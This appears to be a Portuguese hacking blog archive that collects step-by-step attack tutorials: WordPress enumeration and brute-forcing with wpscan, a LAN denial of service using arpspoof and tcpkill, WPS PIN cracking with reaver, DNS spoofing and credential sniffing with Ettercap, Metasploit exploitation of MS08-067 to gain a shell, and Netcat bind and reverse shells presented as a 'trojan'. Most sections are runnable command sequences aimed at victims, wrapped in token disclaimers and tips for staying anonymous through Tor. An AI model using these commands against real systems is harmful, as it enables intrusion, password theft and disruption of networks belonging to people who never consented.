Mostrando postagens com marcador Kali Linux. Mostrar todas as postagens
Mostrando postagens com marcador Kali Linux. Mostrar todas as postagens

quinta-feira, 7 de novembro de 2013

Tutorial: Usando nmap para listar plugins do WordPress

Olá visitante,

Dessa vez vou mostrar como usar a poderosa ferramenta do nmap para listar plugins instalados em uma instalação do wordpress

nmap --script=http-wordpress-plugins --script-args http-wordpress-plugins.root="/blog/", http-wordpress-plugins.search=500 <targets>
O Resultado será uma lista com os plugins que foram localizados na instalação do wordpress.

Legenda:
 <targets> é o ip do site que você quer listar os plugins.

Tutorial wpscan – Invadindo sites em WordPress (Ethical Hacking)

Olá a todos

No nosso tutorial de hoje, gostaria de mostrar uma ferramenta bem útil e bastante voltada para auditoria e exploração de sites feitos usando WordPress.

Para executar os procedimentos mencionados aqui vc precisa ter o Kali Linux instalado

Mãos à obra

No menu Applications selecione Kali Linux/WebApplications/CMS Identification/wpscan
vai abrir uma janela do terminal onde vc pode digitar:
ruby /usr/bin/wpscan --url www.site.com --enumerate p

Esse comando vai fazer as verificações mais comuns e listar os plugins instalados e se alguns dos plugins tem vulnerabilidades conhecidas de segurança. As vulnerabilidades encontradas são acompanhas de links com informações de como explorar essas falhas. o resultado é semelhante a esse.







Indo um pouco além podemos usar o parâmetro u para listar os usuários do painel administrativo
ruby /usr/bin/wpscan --url www.site.com --enumerate u

com os usuários listados podemos usar o seguinte parâmetro no comando para executar um ataque de força bruta no painel:
ruby /usr/bin/wpscan. --url www.site.com --wordlist words.txt --username admin
Neste caso, devemos ter uma wordlist com senhas que no nosso caso se chama words.txtbasta colocar o nome da sua, e em username vc vai colocar o usuário que foi enumerado usando o comando anterior no nosso caso foi o admin.

Todos esses comandos podem ser executados de forma anônima usando no final o parâmetro –proxy HTTP://127.0.0.1:8123 (OBS: isso só vai funcionar se vc tiver seguido nossa dica de configuração do Tor no Kali Linux)

Espero que tenham gostado.

Essas dicas não devem ser usadas para o “mal” e sim pra ajudar a todos.

Como dica existem alguns plugins que ajudam a melhorar a segurança do wordpress, alguns são capazes até mesmo de bloquear tentativas de ataques de força bruta.

Não se esqueçam de compartilhar e se inscrever no blog para ser notificado por email das novidades.

Até a próxima.

Creditos : Hernane Carvalho

Tutorial: Realizando um ataque de negação de serviço usando tcpkill – Dos (Ethical Hacking)

Olá a todos
Hoje eu gostaria de mostrar como realizar um ataque de negação de serviço (Dos) dentro da rede local

O primero passo é habilitar o repasse entre as interfaces de rede para isso faça o seguinte:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Abrir 4 terminais como root
No primeiro, executar o arpspoof e no segundo também, de uma vítima para outra e virce-versa.
# arpspoof -i eth0 -t vm1 vm2
# arpspoof -i eth0 -t vm2 vm1
Troque VM1 pelo IP do Servidor que está executando um determinado serviço, SSH, FTP, RDP etc..
Troque VM2 pelo IP da Vítima que não vai conseguir acessar o servidor.
Em outro terminal digite esse comando
# dsniff -i eth0
Por último digite esse em outro terminal
# tcpkill -i eth0 dst vm1 and dst port 22
Troque VM1 pelo IP do Servidor e coloque a porta deseja que seja derrubada, 22, 3389, 21 etc
Espero que tenham gostado da dica.
Usem com sabedoria
Compartilhe e assine nosso blog.
Até a próxima.

Creditos : Hernane Carvalho

Descobrindo senha de Roteadores Wi-Fi WPA2 com WPS Ativado

Olá a todos

Claro que não preciso falar que essas informações devem ser usadas com responsabilidade, apenas para fins de estudo e testes, lembrando que cada um será responsável pelo que fizer com essas informações.

Pra começar precisamos de uma distribuição Linux usada para Pen-Test, no meu caso, fiz e testei com sucesso o Linux Backtrack disponível no seguinte link abaixo

http://www.backtrack-linux.org/downloads/
Atualizado em 24/4/13: A dica apresentada aqui nesse tutorial funciona perfeitamente também no Kali Linux.
Essa distribuição já vem com tudo que precisamos instalado.

Vamos precisar também de uma placa de rede Wi-Fi que suporte ser ativada em modo monitor (a maioria funciona) no computador ou VM que será usada para fazer o procedimento.

Importante é que esse tutorial só funciona em roteadores que tem a função WPS ativada, que diga-se de passagem muitos tem e vem ativado por padrão.

Vamos lá então:

Caso sua placa já esteja conectada abra um terminal e digite
ifconfig wlan0 down
lembrando que “wlan0? pode variar dependendo do seu equipamento.
em seguida vamos colocar a placa em modo monitor com o seguinte comando:
airmon-ng start wlan0
Agora precisamos capturar o MAC do Access Point que desejamos descobrir a senha para isso execute o seguinte comando
airodump-ng -i mon0
Será exibida uma tela como essa onde será visualizado uma lista com todos os access point que foram localizados, copie o mac do access point desejado antes de ir pro próximo passo.

Obs: O campo ESSID vai mostrar o nome das redes ao alcance no caso aqui propositadamente ficaram borrados



Agora vamos usar um programa chamado reaver, ele pode ser instalado em outras distribuições linux mas no nosso sugerido ela já vem instalada, basta digitar o seguinte agora
reaver -i mon0 -b 98:5d:4c:c3:54:90 -vv
Lembre-se de após o “-b” vc deve usar o Mac Adress do access point que deseja descobrir a senha.

O processo é um tanto demorado (pode levar váárias horas) mas se fizer tudo direitinho e o Access Point estiver configurado para usar WPS certamente será exibida a senha no final.


Creditos: Hernane Carvalho

Tutorial: Usando Kali linux para fazer um ataque de DNS Spoofing com Ettercap

Olá
Hoje gostaria de mostrar como usar o Kali Linux para fazer um ataque de Dns Spoofing usando o Ettercap.


Esse tipo de ataque é muito importante para conseguirmos algumas credenciais durante a execução de um PenTest. Ele consiste em enviar respostas falsas a requisições de DNS que forem feitas.

Para executarmos esse ataque a primeira coisa que queremos é editar o arquivo etter.dns, basicamente ele é como o arquivo hosts do windows e linux, nele podemos configurar para onde as solicitações serão enviadas.
Vamos lá, abra um terminal e digite


# vi /usr/share/ettercap/etter.dns




Podemos editar seguindo o padrão que pode ser visto na imagem acima, salve e saia e após digite ettercap -G que vai abrir o Ettercap em modo gráfico.

Vá em Sniff –> Unified Sniffing e quando solicitado escolha sua placa de rede eth0.



Agora vá em “Hosts” e clique em “Scan for hosts”

Vá novamente em “Hosts” Clique em Host List para visualizar uma lista de todos IP’s disponíveis na rede, selecione qual será a vítima que vai receber as respostas falsas e clique em Add to Target 1



Agora clique em Start –> Start Sniffing.
Após isso vá em MitM –> Arp Poisoning.

Selecione a opção Sniff remote connections conforme abaixo e clique em OK



Agora vá em Plugins –> Manage the Plugins e de um duplo clique em dns_spoof



Feito isso o cliente selecionado vai começar a receber respostas falsas de DNS.

Espero que tenham gostado da dica

Compartilhe nas redes sociais e ajude a divulgar.

Abraço

Creditos: Hernane Carvalho

quinta-feira, 24 de janeiro de 2013

Detectando e exploitando injeções de XSS utilizando o XSSer Tool

O que é XSSer?

XSSer é um programa open-source que automatiza processos de detecção e "explotagem" de injeções XSS em diferentes aplicações.

Você pode testar o software na página vulnerável:

testasp.vulnweb.com/
Como utilizá-lo?

1. root@punter:/pentest/web# $ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

2. root@punter:/pentest/web# cd xsser 
3. root@punter:/pentest/web/xsser# python XSSer.py -u “http://testasp.vulnweb.com” -g “Search.asp?tfSearch=” –proxy “http://127.0.0.1:8118″ –referer “666.666.666.666″ –user-agent “correct audit” –Fuzz -s

4. below are the results








Fonte:
punter-infosec

segunda-feira, 28 de maio de 2012

Invadindo Windows XP com falha no NetApi

E agora, continuando minha jornada contra a Micro$oft, vamos explorar uma falha no Server Service (NetApi) que afeta desde o Windows 2000, passando pelo XP, Vista (...) e chegando no Server 2008.
Para ver detalhes sobre a falha no enorme boletim de segurança da Microshit, clique aqui.
Segundo o próprio boletim, "nos sistemas Microsoft Windows 2000, Windows XP e Windows Server 2003, um invasor pode explorar esta vulnerabilidade sem autenticação para executar código arbitrário." Em outras palavras, trata-se de um RComE (Remote Command Execution).
"Esta atualização de segurança é classificada como Crítica para todas as edições com suporte do Microsoft Windows 2000, Windows XP, Windows Server 2003 e como Importante para todas as edições com suporte do Windows Vista, Windows Server 2008." Só lamento...
Lembrando que atualizar o sistema pode corrigir a vulnerabilidade. O problema é que 'usuários comuns' geralmente não atualizam. <s>Eu mesmo estou com kernel 2.6.32 até hoje.</s>

A falha em si
CVE-2008-4250. O serviço Servidor não manipula corretamente as solicitações de RPC, fazendo com que um invasor possa assumir total controle do sistema.
RPC (Remote Procedure Call/Chamada de Procedimento Remoto) é um serviço de computação distribuída que permite que um programa chame um procedimento em outro computador da rede. O aplicativo envia o sinal ao servidor, que devolve o retorno.

O NetApi (serviço Servidor) suporta impressão e compartilhamento de arquivos, discos e impressoras.
A manipulação pobre desses pacotes pode levar à uma execução de códigos DOS com privilégios totais.

Explorando
Uma versão atualizada do Metasploit já possui o exploit. Com o número CVE, dado acima, é possível encontrá-lo de forma separada no próprio site do Metasploit.
É uma exploração simples e rápida, que ocorre sem o consentimento da vítima. Neste exemplo, vamos usar o payload bind_tcp (meterpreter).

Abra o terminal e vamos verificar se conseguimos acessar a porta 445 do alvo.
Se você estiver com pressa, vale rodar TCPing nas portas 445 e 139, usadas pelo NetApi.

Código:

$ tcping ip.do.al.vo 445
Se você ver a seguinte mensagem:

Código:
ip.do.alvo port 445 open.
Você vai poder continuar o tutorial.
Com mais calma, execute um Nmap:

Código:
# nmap -sS -p139,445 -O ip.do.al.vo
Com isso veremos se as nossas queridas portas estão abertas, e também teremos o sistema operacional do alvo. Verifique se ele está na lista divulgada no Boletim de Segurança da Microsoft (link acima).

Abra a linha de comando do Metasploit:

Código:
# msfconsole
Agora, vamos 'usar' o exploit:

Código:
> use windows/smb/ms08_067_netapi
As opções também são poucas. Com um 'show options' você pode vê-las. Vamos setá-las:

Código:
> set rhost ip.do.al.vo
Setamos o endereço IP do alvo, seguido do payload (usamos o bind_tcp apenas como exemplo):

Código:
> set payload windows/meterpreter/bind_tcp
Se for usar remote_tcp, será necessário setar também LHOST (seu IP) e LPORT (uma porta para ser aberta).

Agora, o golpe final:

Código:
> exploit
Você verá o 'Started bind handler' seguida de várias mensagens de log.
Caso tudo ocorra bem, o que é provável, você pode digitar 'help' para ver o que é possível fazer. Por exemplo:

Código:
> shell
Você verá o MS-DOS do usuário na sua frente. A partir daqui, você assume sua responsabilidade.

Até a próxima!

Nova lei: Invadir computadores protegidos é crime.
Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

Creditos : White Collar

Guia basico do Ettercap

O ettercap um programa classificado com sniffer, pois o mesmo captura dados em uma rede local. Farejadores como são conhecidos os sniffer eles capturam todo trafego da rede, com isso podemos capturar senhas digitadas por outros usuários de nossa rede. Analisando os dados podemos captura conversas de clientes de mensagem do tipo MSN ou outros clientes de mensagem instantânea, podemos ser usando com man-in-the-midler "MITM"(Homem no meio) e etc.

Primeiro passo e instalar o farejador(ettercap).
Ultima versão e 0.7.3 e temos disponível para SO Linux e Windows.

Windows:
http://sourceforge.net/projects/ette...aries/windows/

Linux:
Para distros baseadas no debian/ubuntu:

Citação:
# apt-get install ettercap-gtk
Para outras distribuições, temos que compilar os pacotes.

Citação:
# ./configure
# make
# make install
Vamos iniciar.

Próximo passo e iniciar o ettercap, para linux temos que inicia-lo em modo root, caso contrario não temos como selecionar a interface.



Sniffer > Unified Sniffing

Selecione a interface que está conectada à rede que você quer farejar, clique em"OK".

Host > Scan for hosts.
Na parte inferior da tela, como "Host list , são hosts adicionados" ( Os que estão listados abaixo são os micros que estão on-line na sua rede no momento).



Hosts > Host list
Agora aparecem os IPs das máquinas conectadas, é preciso ter em mente que o roteador também aparece (Lembrando que nosso micro não e mostrado).

Selecione o IP do seu computador para atacar e clique em "Add to Target 1", em seguida, o roteador "Add to Target 2".



Antes de começar o farejamento, e bom lembrar que a técnica usando e chamada de man-in-the-midler(Homem no meio), ai você me pergunta, mas como e isso? todos pacotes que saem do micro alvo, passam por minha maquina antes de chegar ao destino. É possível que a parti de algum tempo usando o MITM o host da vitima fique off por alguns segundos ate que as tabelas ARP sejam resetadas.

Mitm > ARP Poisoning - Agora clique na guia "Sniff remote connections" e clique em "OK"



Start > Start sniffing.



Estamos capturando o trafego de rede.

View > Connections - Aqui podemos ver todas as conexões e clique duas vezes em um pode ver os dados que ele contém, inclusive conversas, os usuários e senhas, etc.

Agora e deixar farejando. Xeque Mate!

Creditos : Bhior.

sexta-feira, 30 de março de 2012

NetCat - Conexão Reversa


Acessando um shell remoto

Conexão direta

O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc...

O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos.

No micro que será acessado, abra o prompt de comando e digite o seguinte código:

nc -L -p 14 -vv -e cmd.exe

No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois "Vs" com um "W") permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema.

Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite:

nc IPdoservidor 14

Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim:

nc 192.168.1.2 14

Se você não possui dois ou mais computadores, experimente usar o endereço de loopback 127.0.0.1, ou então o IP do seu próprio micro.

Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja:

telnet 192.168.1.2 14

Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc...

Conexão reversa

A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta estejam, tanto é, que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los?

Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat:

O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando.

Na primeira digite:

nc -L -p 14 -vv

Este comando fará o programa escutar de modo avançado na porta 14.

E na segunda:
nc -L -p 15 -vv

O comando fará o mesmo que o anterior, mas escutará a porta 15.
Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá "puxar" o shell do sistema do servidor. O código abaixo deve ser rodado no servidor:

nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15

Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma:

nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15

Obs.: o sinal de pipe "|" serve para concatenar (relacionar) a saída de um comando para a entrada de outro.

Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Veja um exemplo, onde eu peço para mostrar os diretórios:

NetCat - O Canivete suiço do TCP/IP


Vamos dar uma olhada nos comandos do netcat, a opção -H exibe as opções do programa. Basta digitar nc -h e dar enter. Veremos os principais comandos do netcat:
l = Coloca uma porta em estado de listenning(escuta)

L = Coloca uma porta em listenning(escuta), reabrindo a porta caso ela feche

P = Define uma porta

V = ativa o recebimento de eco

U = utiliza o protocolo UDP ao invés de TCP

T = para se conectar a TELNET

O = Gera um log em formato hexadecimal

W = Determina um tempo máximo para aguardar uma reposta

E = Redireciona arquivos.

D = Coloca o netcat em modo furtivo, ou seja, permanece carregado em memória.


Bem, agora que já conhecemos os comandos mais usados do netcat vamos a pratica:

Colocando uma porta em escuta:

Nc -l -p 8080 isso faria com que o netcat colocasse a porta 8080 em escuta, note que foi usado -v para que fosse mostrado a saída do programa na tela “listening on [any] 8080 …“, caso a opção -v não fosse inserida este texto não seria mostrado.

Fazendo um Port-Scanner com o netcat:

nc -vv 127.0.0.1 1-6550 isso faz um scanner da porta 1 à 6550 mais você também pode selecionar as portas que deseja escanear dando um espaço entre os intervalos de portas a ser escaneados ex: nc -vv 127.0.0.1 21 80 23 79 25 isso faria um scanner nas portas 80, 23, 79 e 25.

Fazendo um trojan com o netcat:

Note que basta redirecionar todo o trafego de uma porta enviando a cmd.exe se for windows e bin/bash.sh se for UNIX a sintaxe é a seguinte em sistemas windows nc -L -p 1024 -e cmd.exe e nc -l -p 1024 -e bin/sh em UNIX.

Fazendo um ataque de brute force com o netcat:

O canivete suíço do TCP/IP tem muitas funções interessante uma delas é o brute force um exemplo: nc -vv 79 < c:\usuarios.txt > c:\log.txt note que você precisara de um arquivos com nome de usuários em c: e todo log será gravado em c:\log.txt para que você possa analisar depois. esse força bruta foi feita em cima da porta 79 FINGER mais poderia ser facilmente adaptada a outras portas.

Fazendo um sniffer com o netcat:
O fantástico netcat também pode servir como um sniffer e captura todo trafego em uma rede basta colocar nc -vv -L 127.0.0.1 -p 80 note que o L deve ser maiúsculo pois, esta opção reabre socketes fechados, isso fará com que o netcat capture todo trafego na porta 80 acho que nem é mais necessário dizer que podemos também gravar toda saída em um arquivo TXT, mais bem pra você que ainda não sacou a jogada ai vai nc -vv -L 127.0.0.1 -p 80 > c:\sniffer.txt

Autor: Diablos 4-Ever

Fonte: Desconhecida